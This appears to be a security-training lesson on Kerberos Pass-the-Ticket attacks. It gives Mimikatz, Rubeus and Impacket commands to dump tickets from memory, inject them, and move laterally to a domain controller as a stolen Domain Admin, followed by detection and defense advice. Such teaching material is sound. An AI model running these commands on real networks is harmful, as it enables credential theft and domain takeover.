Pass-the-Ticket Attacks

intermediate30 minWriteup

Using stolen Kerberos tickets for access

Learning Objectives

  • Extract Kerberos tickets
  • Import tickets on other systems
  • Use tickets for lateral movement
  • Understand ticket lifetime

Pass-the-Ticket (PtT) is Kerberos's version of credential theft. Instead of stealing passwords or hashes, you steal the actual Kerberos tickets - TGTs and TGS tickets - and use them to authenticate as another user.

Think of it like stealing someone's concert wristband. You don't need to know how they got it or what password they used - you just slap it on and walk in. The bouncer sees a valid wristband and lets you through.

Tickets vs Hashes

Pass-the-Hash uses NTLM hashes (works with NTLM auth). Pass-the-Ticket uses Kerberos tickets (works with Kerberos auth). Different protocols, same concept: use stolen credentials without knowing the password.

Types of Tickets

1Ticket Granting Ticket (TGT):
2├── Issued when user authenticates
3├── Used to request service tickets
4├── Contains user identity and group memberships
5├── Valid for ~10 hours (default)
6└── Can be used to access ANY service
7 
8Ticket Granting Service (TGS):
9├── Issued for specific service access
10├── Presented directly to the service
11├── Contains user's PAC
12├── Valid for ~10 hours (default)
13└── Only works for that ONE service
14 
15For Pass-the-Ticket:
16├── TGT = Most valuable (access everything)
17└── TGS = Limited but still useful

TGT is King

If you get a user's TGT, you can request TGS for any service they can access. It's basically full impersonation until the ticket expires.

Extracting Tickets

Mimikatz - Export All Tickets

1606070;"># Requires admin/SYSTEM for other users' tickets
2privilege::debug
3 
4606070;"># List tickets in current session
5kerberos::list
6 
7606070;"># Export all tickets from memory
8sekurlsa::tickets /export
9 
10606070;"># Creates .kirbi files for each ticket:
11606070;"># [0;12345]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi (TGT)
12606070;"># [0;12345]-2-0-40a50000-Administrator@cifs-DC01.CORP.LOCAL.kirbi (TGS)
13 
14606070;"># Export from specific LUID
15sekurlsa::tickets /export /luid:0x12345

Rubeus - More Control

powershell
1606070;"># List tickets in current session
2.\Rubeus.exe triage
3 
4606070;"># Dump tickets for current user
5.\Rubeus.exe dump
6 
7606070;"># Dump all tickets (requires elevation)
8.\Rubeus.exe dump /luid:0x12345 606070;"># Specific session
9.\Rubeus.exe dump /user:Administrator 606070;"># Specific user
10.\Rubeus.exe dump /service:krbtgt 606070;"># Only TGTs
11 
12606070;"># Export to file
13.\Rubeus.exe dump /nowrap 606070;"># Base64 output for easy copy

Linux - Extract from ccache

bash
1606070;"># On Linux, tickets are in ccache files
2606070;"># Usually at /tmp/krb5cc_<UID>
3 
4606070;"># Find ccache files
5find /tmp -name 606070;">#a5d6ff;">'krb5cc_*' 2>/dev/null
6ls -la /tmp/krb5cc_*
7 
8606070;"># View ticket contents
9klist -c /tmp/krb5cc_1000
10 
11606070;"># Copy the file to use it
12cp /tmp/krb5cc_1000 /tmp/stolen_ticket.ccache

Elevation Required

Extracting OTHER users' tickets requires local admin or SYSTEM. Your own tickets can be exported without elevation.

Injecting Tickets

Mimikatz

1606070;"># Inject .kirbi ticket into current session
2kerberos::ptt ticket.kirbi
3 
4606070;"># Inject multiple tickets
5kerberos::ptt C:\tickets\
6 
7606070;"># Verify injection
8kerberos::list
9 
10606070;"># Now use the ticket
11dir \\dc.corp.local\c$

Rubeus

powershell
1606070;"># Inject from file
2.\Rubeus.exe ptt /ticket:ticket.kirbi
3 
4606070;"># Inject from base64
5.\Rubeus.exe ptt /ticket:doIFmjCCBZag...
6 
7606070;"># Create new logon session and inject (avoids overwriting current tickets)
8.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
9606070;"># Note the LUID
10.\Rubeus.exe ptt /ticket:ticket.kirbi /luid:0x12345

Linux

bash
1606070;"># Set environment variable to use ticket
2export KRB5CCNAME=/path/to/ticket.ccache
3 
4606070;"># Verify
5klist
6 
7606070;"># Convert between formats (kirbi <-> ccache)
8606070;"># Impacket ticketConverter
9ticketConverter.py ticket.kirbi ticket.ccache
10ticketConverter.py ticket.ccache ticket.kirbi
11 
12606070;"># Use with Impacket tools
13export KRB5CCNAME=Administrator.ccache
14psexec.py -k -no-pass corp.local/Administrator@dc.corp.local
15smbclient 606070;">//dc.corp.local/C$ -k -no-pass

Attack Scenarios

Scenario 1: Steal Admin TGT

1606070;"># You have local admin on a workstation
2606070;"># Domain Admin happens to be logged in
3 
4606070;"># 1. Dump tickets
5mimikatz606070;"># sekurlsa::tickets /export
6 
7606070;"># 2. Find DA's TGT
8606070;"># [0;3e7]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi
9 
10606070;"># 3. Inject the TGT
11mimikatz606070;"># kerberos::ptt [0;3e7]-2-0-40e10000-Administrator@krbtgt...kirbi
12 
13606070;"># 4. You're now the Domain Admin (for Kerberos)
14dir \\dc.corp.local\c$
15psexec.exe \\dc.corp.local cmd.exe

Scenario 2: Harvest TGTs Remotely

bash
1606070;"># Using Mimikatz remotely via PsExec
2psexec.py corp.local/admin:password@target.corp.local cmd.exe
3606070;"># Run Mimikatz on target
4 
5606070;"># Or using CrackMapExec
6crackmapexec smb targets.txt -u admin -p password -M mimikatz
7 
8606070;"># Tickets will be dumped to loot folder

Scenario 3: Service Account TGS

1606070;"># You compromised a service account
2606070;"># It has a TGS for accessing a sensitive share
3 
4606070;"># Export TGS tickets
5mimikatz606070;"># sekurlsa::tickets /export
6 
7606070;"># Find the TGS
8606070;"># [0;12345]-2-0-40a50000-svc_backup@cifs-FILESERVER.CORP.LOCAL.kirbi
9 
10606070;"># Inject and access
11mimikatz606070;"># kerberos::ptt [0;12345]-2-0-40a50000-svc_backup@cifs...kirbi
12dir \\fileserver.corp.local\backup$

Ticket Lifetime & Renewal

1Default Ticket Lifetimes:
2├── TGT: 10 hours
3├── TGS: 10 hours
4├── Maximum renewal: 7 days
5└── Configurable via Group Policy
6 
7Renewal:
8├── Tickets can be renewed before expiration
9├── Renewal extends lifetime (within max)
10├── Rubeus can automatically renew
11 
12606070;"># Check ticket expiration
13klist
14 
15606070;"># Renew ticket (Rubeus)
16.\Rubeus.exe renew /ticket:ticket.kirbi
17 
18606070;"># Note: After max lifetime, must re-authenticate

Ticket Expiration

Stolen tickets expire! If you steal a TGT that's 9 hours old, you only have 1 hour. Always check ticket expiration with klist.

Pass-the-Ticket vs Pass-the-Hash

AspectPass-the-TicketPass-the-Hash
ProtocolKerberosNTLM
Credential TypeKerberos ticketsNTLM hash
Lifetime~10 hours (renewable)Until password change
ExtractionFrom memory (LSASS)From memory/SAM/NTDS
Best UseKerberos-only environmentsNTLM allowed environments

Detection & Defense

1Detection:
2├── Event ID 4768 - TGT requested (source for stolen TGT)
3├── Event ID 4769 - TGS requested
4├── Event ID 4624 - Logon events (compare to ticket source)
5├── Anomalous ticket usage patterns
6│ ├── Ticket used from different IP
7│ ├── Ticket used after user logged off
8│ └── Multiple sessions with same ticket
9└── Tools accessing LSASS (ticket extraction)
10 
11Defense:
12├── Credential Guard (Windows 10/Server 2016+)
13│ └── Isolates tickets in virtualized security
14├── Protected Users group
15│ └── Prevents ticket caching
16├── Reduce ticket lifetimes
17├── Monitor for LSASS access
18├── Implement PAW (Privileged Access Workstations)
19└── Regular privileged account rotation

Credential Guard

Credential Guard uses virtualization-based security to protect tickets. Even with SYSTEM access, you can't extract protected credentials. Check: Get-ComputerInfo | Select DeviceGuardSecurityServicesRunning

Pass-the-Ticket Methodology

Pass-the-Ticket Attack Flow

1
Identify TargetFind machine with valuable user sessions
2
Gain AccessGet local admin on target machine
3
Extract TicketsUse Mimikatz/Rubeus to dump tickets
4
TransferCopy .kirbi files to attack machine
5
InjectPass-the-Ticket into new session
6
UseAccess resources as the stolen identity

Knowledge Check

Quick Quiz
Question 1 of 3

Which ticket type allows access to any service the user can access?

Challenges

Ticket Theft

Challenge
🔥 intermediate

With local admin access on a workstation, extract a Domain Admin's TGT and use it to access the domain controller.

Need a hint? (4 available)

Key Takeaways

  • Pass-the-Ticket uses stolen Kerberos tickets for authentication
  • TGT = access any service; TGS = access specific service
  • Tickets expire (~10 hours) - check with klist
  • Requires local admin to extract other users' tickets
  • Use ticketConverter.py for cross-platform attacks
  • Credential Guard protects against ticket extraction